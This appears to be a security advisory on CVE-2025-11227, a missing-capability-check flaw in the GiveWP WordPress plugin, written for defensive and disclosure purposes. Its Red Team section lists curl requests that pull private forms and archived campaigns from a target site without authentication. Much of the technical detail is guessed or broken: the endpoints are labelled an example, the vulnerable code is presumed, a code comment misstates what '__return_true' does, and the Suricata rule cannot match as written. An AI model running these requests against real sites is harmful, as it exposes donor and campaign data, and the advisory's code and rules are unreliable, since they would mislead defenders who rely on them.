CVE-2025-11227

Executive Summary

CVE-2025-11227 is a WordPress plugin vulnerability affecting the GiveWP – Donation Plugin and Fundraising Platform. The flaw resides in the registerGetForm, registerGetForms, registerGetCampaign, and registerGetCampaigns functions, which lack proper capability checks. This allows unauthenticated attackers to extract sensitive data from private and draft donation forms, as well as archived campaigns. The vulnerability has a CVSS score of 6.5 (Medium) and is currently unpatched. No public exploit code or proof-of-concept is available, but the risk of information exposure is significant for organizations using GiveWP to manage donation forms and campaigns.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem and does not involve NPM, PyPI, Go, or Ruby packages. However, organizations should monitor the GiveWP plugin repository for updates and consider the plugin as a critical supply chain component.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Unauthenticated.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. While the CVSS score is 6.5, the lack of authentication requirements and the potential to leak sensitive donation form data (e.g., donor details, campaign goals) elevates the risk for organizations handling financial transactions.

Deep Dive & Mechanics

The vulnerability stems from missing capability checks in the GiveWP plugin's REST API endpoints. The functions registerGetForm, registerGetForms, registerGetCampaign, and registerGetCampaigns are registered as REST API routes but do not verify whether the requesting user has the necessary permissions (e.g., edit_posts or manage_options). As a result, any unauthenticated user can query these endpoints to retrieve data that should be restricted.

Affected Endpoints (example):

• GET /wp-json/give-api/v2/forms/{id} – Retrieves a specific form, including private/draft forms.
• GET /wp-json/give-api/v2/forms – Lists all forms, including private/draft.
• GET /wp-json/give-api/v2/campaigns/{id} – Retrieves a specific campaign, including archived.
• GET /wp-json/give-api/v2/campaigns – Lists all campaigns, including archived.

Data Exposed:

• Donation form titles, descriptions, and settings.
• Campaign names, goals, and progress data.
• Potentially donor information if included in form metadata.

Attack Vector: An attacker sends a simple HTTP GET request to the vulnerable endpoints without authentication. The server responds with JSON data containing the restricted information.

Vulnerable vs. Patched Code

Vulnerable Code (GiveWP <= 4.10.0):

// In includes/api/class-give-api.php or similar
public function registerGetForm() {
    register_rest_route('give-api/v2', '/forms/(?P<id>\d+)', array(
        'methods' => 'GET',
        'callback' => array($this, 'get_form'),
        // Missing 'permission_callback' => '__return_true' or capability check
    ));
}

Patched Code (Hypothetical):

public function registerGetForm() {
    register_rest_route('give-api/v2', '/forms/(?P<id>\d+)', array(
        'methods' => 'GET',
        'callback' => array($this, 'get_form'),
        'permission_callback' => function() {
            return current_user_can('edit_posts'); // Or appropriate capability
        }
    ));
}

The patch adds a permission_callback that checks for the edit_posts capability, ensuring only authenticated users with proper roles can access the endpoints.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress instance with GiveWP plugin version <= 4.10.0.
• No authentication required.

Exploitation Steps:

1. Identify the target WordPress site.
2. Send a GET request to list all forms:

   curl -X GET "http://target-site.com/wp-json/give-api/v2/forms"
   

3. Extract private/draft forms from the JSON response.
4. To retrieve a specific form (e.g., ID 5):

   curl -X GET "http://target-site.com/wp-json/give-api/v2/forms/5"
   

5. For campaigns:

   curl -X GET "http://target-site.com/wp-json/give-api/v2/campaigns"
   curl -X GET "http://target-site.com/wp-json/give-api/v2/campaigns/3"
   

Expected Output:

{
  "id": 5,
  "title": "Private Donation Form",
  "status": "draft",
  "goal": 10000,
  "donations": [...]
}

Blue Team

Detection:

• Monitor for unusual GET requests to /wp-json/give-api/v2/forms or /wp-json/give-api/v2/campaigns from unauthenticated IPs.
• Look for spikes in API calls to these endpoints.

Hunting:

• Search web server logs for patterns like give-api/v2/forms or give-api/v2/campaigns without a valid Authorization header.
• Use the Sigma rule below to detect exploitation attempts.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /wp-json/give-api/v2/forms or /wp-json/give-api/v2/campaigns without authentication.
  • Response bodies containing "status": "draft" or "status": "private" for forms.
  • Response bodies containing "status": "archived" for campaigns.

• File IOCs:

  • Presence of GiveWP plugin version <= 4.10.0 in /wp-content/plugins/give/.

• Log IOCs:

  • Web server logs showing 200 responses to unauthenticated API calls to the vulnerable endpoints.

Detection Engineering

YARA Rule

rule CVE_2025_11227_GiveWP_Info_Leak {
    meta:
        description = "Detects GiveWP plugin files with missing capability checks"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-11227"
    strings:
        $func1 = "registerGetForm" ascii wide nocase
        $func2 = "registerGetForms" ascii wide nocase
        $func3 = "registerGetCampaign" ascii wide nocase
        $func4 = "registerGetCampaigns" ascii wide nocase
        $missing_check = "permission_callback" ascii wide nocase
    condition:
        any of ($func*) and not $missing_check
}

Sigma Rule

title: CVE-2025-11227 GiveWP Information Exposure
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects unauthenticated access to GiveWP REST API endpoints that expose private/draft forms and archived campaigns.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-11227
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|contains:
            - '/wp-json/give-api/v2/forms'
            - '/wp-json/give-api/v2/campaigns'
    condition: selection
falsepositives:
    - Legitimate API usage by authenticated users (if any)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-11227 GiveWP Information Exposure Attempt"; flow:to_server; content:"GET"; http_method; content:"/wp-json/give-api/v2/forms"; http_uri; nocase; content:"/wp-json/give-api/v2/campaigns"; http_uri; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the GiveWP plugin until a patch is released, or restrict access to the REST API endpoints via a web application firewall (WAF).
2. Add a custom capability check by modifying the plugin code (if possible) to include permission_callback in the REST API registration.
3. Use a security plugin (e.g., Wordfence) to block unauthenticated access to /wp-json/give-api/v2/*.

Long-term Fix:

• Monitor the GiveWP plugin repository for a security update. Once available, update to the patched version immediately.
• Implement a Content Security Policy (CSP) and restrict API access to authenticated users only.

Workaround (via .htaccess):

<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteCond %{REQUEST_URI} ^/wp-json/give-api/v2/forms [NC]
    RewriteCond %{HTTP_COOKIE} !wordpress_logged_in [NC]
    RewriteRule .* - [F,L]
</IfModule>

Valters IT
Securing Digital Frontiers